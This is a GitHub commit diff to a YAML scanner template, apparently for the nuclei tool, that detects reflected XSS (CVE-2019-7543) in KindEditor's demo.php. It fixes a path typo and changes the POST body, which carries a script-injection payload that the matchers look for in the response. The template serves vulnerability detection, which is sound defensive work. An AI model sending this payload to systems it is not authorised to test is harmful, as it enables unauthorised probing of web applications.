Update CVE-2019-7543.yaml

patch-1
Prince Chaddha 2021-09-16 21:28:19 +05:30 committed by GitHub
parent df64158ca6
commit 4984b42e66
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 4 deletions

View File

@ -13,18 +13,18 @@ info:
requests:
- method: POST
path:
- '{{BaseURL}/kindeditor/php/demo.php'
- '{{BaseURL}}/kindeditor/php/demo.php'
- '{{BaseURL}}/php/demo.php'
body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"
headers:
Content-Type: application/x-www-form-urlencoded
body: "content1=<script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"
matchers-condition: and
matchers:
- type: word
words:
- '<script>alert(document.domain)</script>'
- '</script><script>alert(document.domain)</script>'
part: body
- type: word